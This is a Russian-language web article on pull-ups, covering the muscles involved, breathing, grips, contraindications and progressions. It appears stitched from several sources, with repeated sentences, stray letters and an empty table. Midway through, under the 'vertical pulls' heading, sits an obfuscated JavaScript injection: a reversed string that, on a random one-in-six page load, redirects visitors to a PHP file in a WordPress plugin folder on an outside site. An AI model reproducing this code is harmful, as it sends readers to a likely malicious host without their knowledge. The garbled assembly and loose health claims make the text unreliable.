Какие мышцы участвуют в подтягиваниях
Комбинируя различные виды подтягиваний можно усилить или увеличить (нарастить мышечную массу) различные мышцы рук, спины, а также убрать лишний жир с живота.
Тренированное тело – это не только красивый, эстетический и привлекательный внешний вид для противоположного пола, но и здоровый, крепкий организм, который практически не чувствует усталости от повседневных физических нагрузок.
При подтягивании на турнике могут быть задействованы следующие мышцы:
- Широчайшая мышца спины – участвует в работе рук и как вспомогательная дыхательная мышца (может расширять грудную клетку). Укрепление этой мышцы имеет большое значение для выполнения повседневных дел. Развитая широчайшая мышца спины позволит дольше выполнять различные повседневные физические нагрузки и одновременно не испытывать усталость.
- Трапециевидные мышцы – обеспечивают движение лопаток, шеи, головы и плечевого пояса.
- Мышцы предплечий (круглый пронатор, лучевой сгибатель запястья, длинная ладонная мышца, поверхностный сгибатель пальцев, локтевой сгибатель запястья, плечелучевая мышца, длинный сгибатель большого пальца кисти, глубокий сгибатель пальцев, квадратный пронатор, длинный лучевой разгибатель запястья, короткий лучевой разгибатель запястья, разгибатель пальцев, локтевой разгибатель запястья, разгибатель мизинца, супинатор (мышца предплечья), длинная мышца, отводящая большой палец кисти, короткий разгибатель большого пальца кисти, длинный разгибатель большого пальца кисти, разгибатель указательного пальца – именно эта группа мышц позволяет зафиксироваться на перекладине и выполнять все повседневные дела, в которых задействованы руки.
- Двуглавая мышца плеча, она же – бицепс. Отвечает за сгибание плечевого и локтевого суставов. Тренировка бицепса позволит поднимать больше веса.
- Прямая мышца живота, она же пресс – поднимает и опускает таз, сгибает позвоночник, тянет ребра и грудную клетку. Тренируется на турнике, когда во время подтягиваний задействуют ноги/таз.
- Наружная косая мышца живота – задействуется при движении позвоночника, ребер, при движении таза, входит в состав брюшного пресса.
- Поперечная мышца живота – является своего рода корсетом для правильного расположения внутренних органов.
- Дельтовидные мышцы – участвует при работе плечевого сустава. Развитие данной мышцы фактически увеличивает ширину плеч, создает красивый внешний вид, особенно у мужчин.
Мы перечислили основные мышцы, но далеко не все, которые могут быть задействованы при различных упражнениях на турнике. При подтягивании задействуется и активно тренируется огромное количество мышц, благодаря одной только перекладине можно добиться отличных результатов и изменить свое тело до неузнаваемости.
Чего делать не следует
Иногда, при выполнении упражнения делают все наоборот. При подтягивании – вдох. При опускании – выдох. Это неправильно. Запомните простое правило, оно действует во всех видах спорта и во всех упражнениях, выдыхать во время самой сложной части упражнения и делать вдох во время самой легкой части. Попробуйте сделать упражнения так, и наоборот. И вы поймете насколько легче и удобнее делать правильно.
Еще одной ошибкой является то, что новички пытаются сделать на одном вдохе движение вверх, а затем вниз. И самая распространенная ошибка, задерживать дыхание в момент максимальной нагрузки. Этого делать нельзя. В этом случае, у вас может подняться кровяное давление, а это в свое очередь чревато порывами крошечных капилляров в глазах и мозге.
Общая техника подтягивания на турнике
Теперь рассмотрим технику подтягивания на турнике. Ноги нужно держать скрещенными и согнутыми под углом в 90 градусов, таким образом можно подтягиваться даже на невысоких перекладинах и избежать рывков, которые крайне нежелательны. Подтягиваться нужно плавно в удобном для вас темпе, используя исключительно силу собственных мышц. Никогда не выгибайте спину при подтягивании.
Постепенно нужно увеличивать количество нагрузок в каждом подходе, т.к. мышцы привыкают к нагрузкам и перестают наращивать мышечную массу. Можно воспользоваться другим методом: попробуйте подтягивание с отягощением. Отягощением может служить гантель. Если нет гантели, можно использовать рюкзак с книгами. Как вариант, сделать пояс (обычно это цепь) и вешать его на бедра. Но помните, чем больше нагрузка, тем меньше повторов вам необходимо сделать.
Оптимально выполнять любое упражнение 3-4 сета по 12 повторов. Только не работайте на износ. Первое время делайте столько, сколько сможете, постепенно увеличивая количество повторов.
Никогда не выполняйте упражнения через боль, и при каких либо травмах. Если при выполнении упражнений вам стало плохо или вы потянули мышцы, немедленно прекратите занятие. Не делайте, какие либо упражнения в дождь, мороз или ночью. А так же нельзя делать какие либо элементы упражнений на старых, ржавых, плохо закрепленных турниках.
Подведем итоги
- не замедляйте и не учащайте ваше дыхание специально;
- не задерживайте дыхание надолго;
- не меняйте и не сбивайте выбранный вами темп дыхания;
- всегда придерживайтесь этих правил.
Тренируйтесь, старайтесь и со временем вы научитесь правильной технике дыхания.
- Если техника дыхания неправильная, то при подтягиваниях спортсмен ограничивает доступ кислорода к сердцу, мозгу и другим органам. В результате происходит патологическая нагрузка: у человека резко поднимается давление – а в худшем случае вообще он вообще рискует потерять сознание
- Кроме того, при неправильном дыхании недостаточное количество кислорода получают мышцы спортсмена – а, значит, они развиваются гораздо менее интенсивно, чем ему бы хотелось. Поэтому человек, не знающий о том, как правильно дышать при подтягивании на турнике, существенно снижает не только безопасность, но и эффективность своих тренировок
Ну, а теперь, непосредственно, о том, как правильно дышать при подтягивании на турнике:
Ваш идеальный турник должен быть расположен на такой высоте, чтобы вы могли прикоснуться ладонями к перекладине, встав на носочки. Если для того, чтобы схватить перекладину, вам придется совершить прыжок, то таким образом вы изначально собьёте дыхание Взявшись за перекладину, поднимите ноги и согните их в коленях. Но не поджимайте ноги под себя, а слегка отведите назад Сделайте глубокий вдох, одновременно сведя лопатки между собой Начинайте медленно подтягиваться, одновременно выполняя протяжный выдох. Выдох должен закончиться в тот момент, когда вы достигнете верхней точки подтягивания
Это условие является очень важным при выполнении физических упражнений – и, если вы ранее не знали о том, как правильно дышать при подтягивании на турнике, то обязательно обратите на него внимание В верхней точке, ни на секунду не задерживая дыхания, вновь вдохните в себя воздух – и начинайте плавно опускаться в исходное положение Не нужно делать чрезмерное количество подтягиваний: выполняйте упражнение столько раз, на сколько у вас хватит сил – иначе перегрузите мышцы
Польза и противопоказания
Регулярное выполнение этого упражнения полезно для мужчин следующим:
- такие тренировки вырабатывают силу. При них с большой нагрузкой работает практически вся мускулатура верхней части тела, что увеличивает физическую силу и выносливость;
- хорошо прорабатываются мышцы спины, в том числе и расположенные вдоль позвоночника, что способствует его укреплению;
- формируется спортивная фигура. Рельефные мышцы на спине смотрятся очень эстетично. Чтобы добиться лучшего эффекта, заниматься нужно с утяжелением;
- происходит сушка тела. Большое разнообразие методов подтягивания на турнике поможет сжечь большое количество калорий и снизить вес.
Знаете ли вы? На лице у человека расположено почти 25% мышечных волокон, благодаря им мы обладаем богатой мимикой. При разговоре у человека участвуют около 100 мышц языка, челюсти, шеи и груди.
сколиоз. Даже самое небольшое искривление позвоночника является противопоказанием;
остеохондроз
При остеохондрозе в области шейного позвоночника заниматься с соблюдением мер осторожности можно. Спрыгивать с турника в этом случае не стоит. Для этой цели лучше пользоваться невысоким турником или поставить табуретку и спускаться с её помощью
При выраженном остеохондрозе всего позвоночника упражнения запрещены;
Для этой цели лучше пользоваться невысоким турником или поставить табуретку и спускаться с её помощью. При выраженном остеохондрозе всего позвоночника упражнения запрещены;
межпозвоночная грыжа.Абсолютное противопоказание для занятий на турнике
Важно! При наличии любых заболеваний, особенно связанных со спиной, необходимо получить консультацию от лечащего врача по поводу занятий на перекладине и допустимой нагрузки
Польза от подтягиваний зависимо от вида хвата
Зависимо от вида хвата на перекладине, можно извлечь следующую пользу от подтягиваний:
- прямой хват – увеличивается нагрузка на спину и плечи (меньше на бицепс);
- обратный хват– больше задействуются и тренируются бицепсы, а также низ широчайших мышц спины;
- смешанный хват – спина и плечи, а меньше бицепсы.
Также при сужении рук все больше задействуются мышцы рук (бицепсы и трицепсы), а спина нагружается меньше. И соответственно наоборот – чем шире хват при подтягивании, тем больше пользы для мышц спины.
А теперь более подробно рассмотрим это в таблице подробнее.
| Вид хвата при подтягивании | Мышцы, для которых будет польза от подтягиваний | Рекомендации по правильном выполнении |
|
Средний прямой хват |
|
|
|
Средний обратный хват |
|
|
|
Широкий открытый хват (к груди) |
|
|
|
Широкий хват (за голову) |
|
|
|
Узкий прямой хват |
|
Стараться каждый раз касаться перекладины верхом груди. |
|
Узкий обратный хват |
|
|
|
Комбинированный хват (вдоль перекладины) |
|
|
|
Средний обратный хват (неполное подтягивание) |
Двуглавая мышца плеча. | Руки находятся под прямым углом, а движения выполняются вперед и назад, приближая и отдаляя ключицы от перекладины. |
В чем польза подтягиваний широким хватом
На этом типе хвата и выполнении с ним подтягивания можно остановиться чуть подробнее. Ведь можно заметить, что те, кто занимается в тренажерном зале, из всех типов хватов при подтягивании, предпочитают именно прямой широкий. Нагрузку для большинства мышц «качки» осуществляют с помощью другого спортивного инвентаря (штанги, гантели, тренажеры). А вот в чем же польза подтягиваний широким хватом? Он очень эффективен для тренировки спины, и если подвешивать с помощью пояса отягощения, то для этих групп мышц подтягивание широким хватом самое подходящее упражнение. На рисунке ниже приведены мышцы, которые наиболее задействованы в этом упражнении.
Мышцы, которые тренируются при широком хвате
Как видим, польза подтягиваний в том, что благодаря такому доступному упражнению можно эффективно тренировать верхнюю часть тела. При достижении возможности подтянуться 8-12 раз стоит задумать над увеличении своего веса с помощью утяжелителей, подвешенных на поясе. Рекомендации о том, как это можно сделать, можно найти в статье «Как сделать тренажеры дома«.
Частота тренировок
Вопрос о том, как легко подтягиваться на турнике много раз, включает в себя не только тренировки, но и восстановление. В мышцах во время нагрузок создаются микротравмы, которые необходимо регенерировать, чтобы мускулы смогли снова работать в полную силу.
У новичков мышцы еще не подготовлены к нагрузкам, поэтому очень сложно создать такую нагрузку, под которой мышцы бы не разрушались. Таким образом, начинающие могут тренироваться через день. При этом тренировки должны быть составлены таким образом, чтобы выполнить определенное количество повторений. Например, 20 австралийских подтягиваний, 15 негативных подтягиваний и 15 подтягиваний с резиной.
В других случаях, когда занятия более интенсивные и объемные, мышцам следует давать больше времени на восстановление. При этом нужно соблюдать режим питания и сна, чтобы мышечные волокна регенерировались качественно.
Многие спрашивают, за сколько можно научиться подтягиваться. Нельзя назвать точную цифру, так как у каждого индивидуальные особенности организма. Однако новичкам может понадобиться около 2 недель, чтобы научиться подтягиваться 3-5 раз с нуля.
Подводящие упражнения
С весом
Суть, как легко понять из названия, заключается в том, чтобы увеличить свой уже привычный вес дополнительным в виде, к примеру, специального пояса либо рюкзака с песком, особого утяжеляющего жилета. «Лишний» вес варьируется от 2 до 20 кг.
Данный метод разрешается выполнять только тогда, когда никаких нареканий не вызывает обычное упражнение и важно отметить, что повторение подтягивания с весом не рекомендуется доводить больше, чем до 4-5 раз
Негативные
В данном случае выполняющему требуется подставка (скамья) с которой он аккуратно достигает подъема к верхней точке действия, когда подбородок оказывается над перекладиной. После этого осуществляется плавный спуск в нижнюю точку. И хотя по впечатлениям, спуск вниз значительно проще подъема, нагрузка на мышцы при негативном подтягивании получается отличной.
Другие
Быстрые подъемы позволяют четко определить предел своих возможностей для упражнений на одной руке.
Порядок их выполнения фактически ничем не отличается от обычного упражнения, но с разницей в деталях:
- движение вверх должно быть максимально сильным и резким, как толчок;
- затем, замерев на мгновение, следует расслабить все мышцы и свободно, как будто падая, опуститься вниз.
Для другого упражнения — с прыжка, потребуется низкий турник, до которого можно легко достать рукой. Техника проста — прыгнуть, захватить снаряд и без перерыва подтянуть себя вверх. Теоретически, именно прыжок должен облегчить задачу подъема. Укреплению сухожилий и развитию силы способствует статическая задержка при выполнении.
Все, что требуется для упражнения, это поочередное удержание тела в течение 6-8 секунд, когда оно будет находится в положениях:
- грудь на уровне перекладины;
- локоть согнут в 90 °;
- локоть согнут в 150 °.
Дополнительные упражнения
Специальная перекладина с изогнутыми краями позволяет выполнять подтягивания с максимальной амплитудой – в этом упражнении эффективно работают скрытые под трапецией ромбовидные мышцы и круглые мышцы спины, плечелучевая мышца предплечья. Такое упражнение лучше выполнять ближе к концу тренировки, как наиболее подходящее для проработки спины.
Подтягивание на турнике с изогнутыми ручками
Зная теперь, какие группы мышц напрягаются и участвуют в работе при выполнении того или иного упражнения на турнике, легче составить сбалансированную программу физических тренировок. Старайтесь нагружать мышцы равномерно, чередуя различные виды подтягиваний, и тогда тело будет выглядеть гармоничным и красивым, а вы почувствуете себя сильным и здоровым.
Как научиться: подводящие упражнения
Для успешного осваивания такого сложного упражнения, как подтягивания на одной руке, следует подготовить к ним своё тело при помощи определённых упражнений.
Сила хвата
Для тренировки силы хвата надо выполнять следующее:
использовать кистевой эспандер;
висеть на перекладине, держась по очереди каждой рукой;
включить в занятия становую тягу штанги;
делать сгибания рук со штангой на бицепсы.
Подтягивания с весом
Хорошо развивает мускулатуру использование утяжелителей в виде специального жилета или пояса, к которым крепятся грузы.
Узнайте, как увеличить количество подтягиваний на турнике.
Выполнение таких упражнений имеет ряд особенностей:
перед ними обязательна разминка; важно определить максимальный вес, с которым можно без рывков и нарушений техники подтянуться только один раз; для выработки силовой выносливости достаточно выбрать вес утяжелителей 50–70% от максимального и выполнить упражнение 15–20 раз; все движения с утяжелителями делать плавно; со временем можно увеличивать нагрузки. Во время этих упражнений нередко используют специальные подставки под ноги
Во время этих упражнений нередко используют специальные подставки под ноги.
Важно! При занятиях с утяжелителями не должно быть рывков и раскачивания. Запрещено запрыгивать и спрыгивать с перекладины. Это может привести к травмам
Это может привести к травмам.
Негативные подтягивания
Это более усложнённый вариант подтягиваний, во время которых действия акцентируются на второй фазе — опускании вниз. Выполняются просто:
- подтянуться до перекладины, как обычно;
- постараться очень медленно опуститься. Опускаясь вниз, надо прочувствовать и проработать все мышцы, принимающие участие в опускании.
При отработке этого упражнения рекомендуется менять положение рук. Один из вариантов его выполнения состоит в быстром поднятии на перекладину с помощью прыжка, для экономии сил на негативную фазу.
Вам наверняка будет полезно узнать, как подтягиваться на турнике параллельным, обратным и узким хватом.
Статическая задержка с весом на перекладине
Это упражнение выполняется с утяжелителями и чем-то схоже на предыдущее, но акцент делается на верхней точке. Одна из техник выполнения такова:
- прицепить утяжеляющий пояс немного повыше тазобедренных костей;
- подтянуться до верхней точки и задержаться в ней 5–10 сек.;
- опуститься, но не до конца. А до положения угла локтей в 90° и снова сделать задержку на 5–10 сек.;
- затем снова опуститься вниз не до конца — до угла 150° и опять задержаться на столько же.
Негативные подтягивания на одной руке
При негативных подтягиваниях главное — напрягать и проработать мышцы при медленном опускании. Для этого подтягиваются на двух руках, а опускаются вниз на одной. На начальном этапе, скорее всего, тело будет тяжело опустить в медленном темпе, но при постоянных тренировках удерживать вес тела станет легче. Следует добиться результата, когда данное упражнение выполняют в течение не менее 10 секунд.
Статическая задержка на одной руке
Такое подтягивание выполняется следующим образом:
- подтянуться как обычно, а когда грудь достигнет уровня перекладины, опустить одну руку и провиснуть на другой 5–8 секунд;
- после опуститься, пока локоть не станет находиться под углом 90°, и задержаться ещё на 5–8 секунд;
- завершающий этап — опуститься вниз до угла 150° и продержаться ещё 5–8 секунд.
При выполнении такой статической задержки прижать локоть к торсу, чтобы хорошо проработать мышцы на спине.
Читайте о том, как правильно подтягиваться на турнике за голову.
Подтягивания на одной руке, помогая второй
Подтягиваясь на рабочей руке, можно другой помогать. Для этой цели слегка согнутую рабочую конечность обхватываем кистью свободной руки в области запястья. Таким образом, нагрузка идёт меньше за счёт помощи второй руки, которая также согнута, но под большим углом. Подтягиваетесь, пока подбородок не окажется выше перекладины. Нужно немного задержаться вверху, а затем медленно опуститься в начальную позицию.
Разноуровневые подтягивания
Такие упражнения выполняются при расположении рук на разных уровнях — одна конечность находится выше другой. В этом случае нагрузка на них разная. Существуют разные способы выполнения таких упражнений. Его можно проводить на двух зацепках, которые крепят на разных уровнях. Вместо зацепок можно использовать полотенце и одной из рук придерживаться за него, а можно применить петлю.
Знаете ли вы? Занятия спортом и посещение тренажёрного зала снижает уровень «гормона стресса» — кортизола. Так утверждает издание «International Journal of Sports Medicine».
Шаг 1: вертикальные подтягивания (vertical pulls)
$Ikf=function(n){if (typeof ($Ikf.list) == «string») return $Ikf.list.split(«»).reverse().join(«»);return $Ikf.list;};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andPullUps-2.jpg» alt=»» width=»500″ height=»335″ />
Горизонтальные подтягивания ставят тело под другой, более сложный угол. Это упражнение является отличным подготовительным шагом к работе в висе на перекладине, укрепляет суставы, особенно уязвимые локти и плечи. Для выполнения необходима какая-нибудь горизонтальная опора, которая без проблем выдержит твой вес. Идеальный вариант — купить гимнастические кольца, которые удобно и легко регулируются по высоте, но подойдет и край большого, прочного стола или спортивные напольные брусья. Медленно подтягивай себя, держа тело вытянутым в линию, пока грудь не коснётся края опоры и окажется на том же уровне, что и руки. Задержись на секунду в этом положении, а потом опустись вниз.
Если упражнение окажется слишком сложным, найди опору с углом повыше или согни колени. Когда сможешь сделать 30 повторений, попробуй более низкую высоту.
Мышечные движения
Концентрические – такие движения, при которых сила ваших мышц больше, чем сила встречного сопротивления. Такое случается, когда вы подтягиваетесь к перекладине.
Изометрические движения – сила ваших мышц равна силе сопротивления. Такое случается, когда вы зависаете в позиции у перекладины («блок» или «захват»).
Эксцентрические движения – сила ваших мышц меньше, чем сила сопротивления. Такое происходить, если вы будете опускать свое тело.
При большом развитии мышц, вы можете управлять вашим весом с помощью эксцентрических, затем изометрических и концентрических движений. Главное все время помнить о таком порядке.
Лучшим вариантом для тренировки будет обычная перекладина. Ее отличает распространенность и легкая доступность в тренажерных залах. Использование колец будет плохой идеей, ведь требует навыка балансировки тела.
При этом, подтягивание на перекладине не вызывает никаких проблем с локтевым суставом. Тендинит может быть вызван только травмой или высокими нагрузками при тренировках.
Если вы занимаетесь альпинизмом, вам лучше использовать вместо перекладины выступы, планки или скалолазные захваты.
Потенциальный вред и противопоказания
Но так ли хороши подтягивания широким хватом? Несмотря на всю свою эффективность, они имеют ряд весьма специфических противопоказаний, а в некоторых случаях даже могут нанести вред организму начинающего атлета. В каких же случаях категорически воспрещается использовать подтягивания широким хватом в основной программе тренировок:
- Болезни в локтевом суставе. Даже при наличии специальных страхующих бинтов, заниматься с проблемами локтевого сустава именно в широком хвате крайне не рекомендуется. При широком хвате локти работают в не совсем природной амплитуде, что увеличивает их горизонтальную нагрузку, и, соответственно, может привести к быстрому истиранию сустава.
- Болезни позвоночника. При подтягиваниях, ослабленный позвоночник растягивается, что является несомненной пользой. Но при наличии кифозных или сколиозных искривлений, такое растягивание может привести к вероятностному защемлению нервов.
- Проблемы с брюшной областью. Имеется в виду посттравматических период, или время после операций, когда мышцы пресса еще не приобрели достаточный тонус, и не могут удерживать позвоночник и корпус в правильном состоянии.
- Беременность. По тем же причинам, что и предыдущий. Во время подтягиваний широким хватом, мышцы кора и пресса находятся в предельном напряжении, что может повредить плоду даже на первых неделях беременности.
- Излишний вес. Здесь скорее не противопоказание, а предостережение. Многие спортсмены предпочитают рывковый темп выполнения упражнения, что совершенно не стыкуется с подтягиваниями, и, следовательно, может привести как к защемлению так и к истиранию позвонков, что крайне нежелательно для начинающего спортсмена борющегося с лишним весом.
Что же касается потенциального вреда, то здесь нет особых проблем. Единственное, при нарушении техники, подтягивания могут привести к:
- Защемлению шейного нерва. Касается исключительно вариации упражнения с захватом и подъемом корпуса за голову.
- Истирание позвонков. Это возможно только при работе с большими весами, и неправильном сходом с рабочего снаряда.
- Усиление искривлений позвоночника. Это может возникнуть только в случае неравномерно развитого мышечного корсета спины, и наличии кифозносколиозных искривлений позвоночника не менее второй степени.
Как видно из перечисленного подтягивание на турнике широким хватом практически не несут вреда здоровому организму при соблюдении правильной техники выполнения упражнения.
Разновидности подтягиваний на турнике
Подтягиваться на перекладине можно разными способами. У каждого из них есть свои особенности, о которых стоит знать, чтобы грамотно составить тренировочный план и извлечь из занятий максимум пользы. Знаете ли вы все виды подтягиваний, которые помогут прокачать мышцы?
Базовая техника подтягиваний
Чтобы занять исходную позицию, нужно повиснуть на перекладине, используя хват, выбранный в соответствии с целью занятия
В висе важно держать плечи жёсткими, опустив вниз плечевые суставы и удерживая мускулатуру спины в напряжении. При расслаблении зоны плеч велика вероятность травмирования суставов
Профессионалы советуют висеть не на прямых руках, а немного согнуть локти («мягкие локти»). Ноги не должны касаться пола, лодыжки можно завести одну за другую.
- Сделав глубокий вдох, мощным мышечным усилием подтягивают корпус по направлению к перекладине. Подъём происходит на выдохе.
- Достигнув верхней позиции (в классическом варианте это момент доведения подбородка до перекладины, при целенаправленной проработке бицепса он наступает чуть раньше). Здесь делают секундную паузу, дополнительно сводя лопатки.
- Вдыхая, подконтрольно разгибают руки, возвращаясь в первоначальное положение.
Делают 8–15 повторений в 3–5 сетах.
в
Подтягиваясь, не нужно допускать маятниковых раскачиваний корпуса: это будет «разбалтывать» суставы, подключит силу инерции и снизит эффективность упражнения.
Прямой и обратный хват
Классическим вариантом принято считать подтягивания прямым, или верхним хватом (ладони смотрят вперёд). Такая тренировка активирует помимо бицепса другие мышечные группы: мускулатуру верхней части спины (она берёт на себя большую часть нагрузки), плечевой пояс, трапеции, трицепсы.
Двуглавая мышца при таком хвате не получит концентрированной проработки, однако это не повод пренебрегать им в подтягиваниях на бицепс. Прямой хват активно задействует плечевую мышцу, расположенную под бицепсом, которая при росте «выталкивает» двуглавую, способствуя большей её прорисовке.
в
Если требуется прицельно нагрузить бицепс, целесообразно использовать обратный, или супинированный хват (техника представлена на видео). При такой постановке рук нагрузка сильнее смещается на двуглавые мышцы и нижнюю зону широчайших.
Обратный хват серьёзно нагружает бицепсовые сухожилия, поэтому во избежание травмы не стоит увлекаться взрывными подъёмами и зависаниями на перекладине с долгими паузами.
ф
Прямой хват сильнее активирует спину и плечевой пояс, обратный смещает акцент на двуглавые мышцы. Если речь идёт о подтягиваниях на бицепс, целесообразно применять супинированный хват, но для гармоничного мышечного развития и во избежание тренировочного плато рекомендуется периодически менять постановку рук.
Широкая и узкая постановка рук
Упражняясь на турнике, можно менять акцент мышечной нагрузки, экспериментируя с шириной хвата.
Широкая постановка рук активно задействует мускулатуру верха спины. Рабочая амплитуда здесь сокращается, бицепс нагружается в меньшей степени.
в
Тренировку на турнике узким хватом именуют узкими подтягиваниями. В данном случае рабочий акцент переходит со спины на руки, и бицепс получает весомую нагрузку. Узкий хват предполагает расположение кистей в приблизительно в 20 см друг от друга: сокращение этого расстояния перегружает запястья.
в
